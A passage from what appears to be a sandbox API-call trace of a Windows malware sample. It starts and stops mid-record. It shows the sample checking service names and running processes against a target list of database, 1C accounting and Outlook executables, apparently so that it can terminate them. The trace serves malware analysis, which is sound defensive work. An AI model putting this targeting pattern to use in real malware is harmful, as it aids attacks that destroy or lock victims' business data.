lpString2="Schedule") returned 1 [0097.292] lstrlenW (lpString="SENS") returned 4 [0097.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0097.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0097.292] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0097.292] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0097.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0097.292] lstrlenW (lpString="ShellHWDetection") returned 16 [0097.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0097.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0097.292] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0097.293] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0097.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0097.293] lstrlenW (lpString="Spooler") returned 7 [0097.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0097.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0097.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0097.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0097.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0097.293] lstrlenW (lpString="swprv") returned 5 [0097.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0097.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0097.293] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0097.293] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0097.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0097.293] lstrlenW (lpString="SysMain") returned 7 [0097.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0097.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0097.294] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0097.294] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0097.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0097.294] lstrlenW (lpString="Themes") returned 6 [0097.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0097.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0097.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0097.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0097.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0097.294] lstrlenW (lpString="TrkWks") returned 6 [0097.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0097.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0097.294] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0097.294] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0097.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0097.294] lstrlenW (lpString="UxSms") returned 5 [0097.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0097.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0097.295] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0097.295] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0097.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0097.295] lstrlenW (lpString="VSS") returned 3 [0097.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0097.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0097.295] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0097.295] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0097.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0097.295] lstrlenW (lpString="WdiServiceHost") returned 14 [0097.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0097.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0097.295] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0097.295] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0097.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0097.295] lstrlenW (lpString="WdiSystemHost") returned 13 [0097.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0097.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0097.295] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0097.295] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0097.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0097.295] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0097.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0097.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0097.295] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0097.296] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0097.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0097.296] lstrlenW (lpString="Winmgmt") returned 7 [0097.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0097.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0097.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0097.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0097.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0097.296] lstrlenW (lpString="WPDBusEnum") returned 10 [0097.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0097.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0097.296] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0097.296] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0097.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0097.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39777a0 | out: hHeap=0x5b0000) returned 1 [0097.296] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0097.397] Process32FirstW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.398] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0097.399] lstrlenW (lpString="System") returned 6 [0097.399] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0097.399] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0097.401] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0097.401] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0097.401] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0097.401] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0097.401] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0097.401] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0097.409] lstrlenW (lpString="smss.exe") returned 8 [0097.409] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0097.409] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0097.409] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0097.409] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0097.409] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0097.409] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0097.409] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0097.410] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.410] lstrlenW (lpString="csrss.exe") returned 9 [0097.410] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0097.410] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0097.410] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0097.410] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0097.411] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0097.411] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0097.411] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0097.411] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0097.411] lstrlenW (lpString="wininit.exe") returned 11 [0097.411] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0097.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0097.412] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0097.412] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.413] lstrlenW (lpString="csrss.exe") returned 9 [0097.413] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0097.414] lstrlenW (lpString="winlogon.exe") returned 12 [0097.414] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0097.415] lstrlenW (lpString="services.exe") returned 12 [0097.415] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0097.416] lstrlenW (lpString="lsass.exe") returned 9 [0097.416] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0097.417] lstrlenW (lpString="lsm.exe") returned 7 [0097.417] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.417] lstrlenW (lpString="svchost.exe") returned 11 [0097.418] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.418] lstrlenW (lpString="svchost.exe") returned 11 [0097.418] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.419] lstrlenW (lpString="svchost.exe") returned 11 [0097.419] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.420] lstrlenW (lpString="svchost.exe") returned 11 [0097.420] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.421] lstrlenW (lpString="svchost.exe") returned 11 [0097.421] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0097.421] lstrlenW (lpString="audiodg.exe") returned 11 [0097.421] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.422] lstrlenW (lpString="svchost.exe") returned 11 [0097.422] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.423] lstrlenW (lpString="svchost.exe") returned 11 [0097.423] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0097.424] lstrlenW (lpString="dwm.exe") returned 7 [0097.424] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0097.425] lstrlenW (lpString="explorer.exe") returned 12 [0097.425] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0097.426] lstrlenW (lpString="spoolsv.exe") returned 11 [0097.426] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.426] lstrlenW (lpString="svchost.exe") returned 11 [0097.427] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0097.427] lstrlenW (lpString="taskhost.exe") returned 12 [0097.428] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0097.428] lstrlenW (lpString="taskeng.exe") returned 11 [0097.429] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0097.430] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0097.430] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0097.430] lstrlenW (lpString="while damaged.exe") returned 17 [0097.430] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0097.431] lstrlenW (lpString="hosted_thee.exe") returned 15 [0097.431] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0097.432] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0097.432] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0097.433] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0097.433] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0097.434] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0097.434] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0097.435] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0097.435] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0097.435] lstrlenW (lpString="l_greene_go.exe") returned 15 [0097.436] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0097.437] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0097.437] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0097.437] lstrlenW (lpString="spots wm.exe") returned 12 [0097.438] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0097.438] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0097.439] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0097.439] lstrlenW (lpString="lp imagination.exe") returned 18 [0097.439] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0097.440] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0097.440] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0097.444] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0097.444] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0097.648] lstrlenW (lpString="voluntary teach.exe") returned 19 [0097.649] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0097.649] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0097.650] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0097.651] lstrlenW (lpString="jesse.exe") returned 9 [0097.651] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0097.652] lstrlenW (lpString="partners_format.exe") returned 19 [0097.652] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0097.653] lstrlenW (lpString="predict.exe") returned 11 [0097.653] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0097.654] lstrlenW (lpString="supervisor.exe") returned 14 [0097.654] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0097.655] lstrlenW (lpString="3dftp.exe") returned 9 [0097.655] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0097.656] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0097.656] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0097.657] lstrlenW (lpString="alftp.exe") returned 9 [0097.657] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, 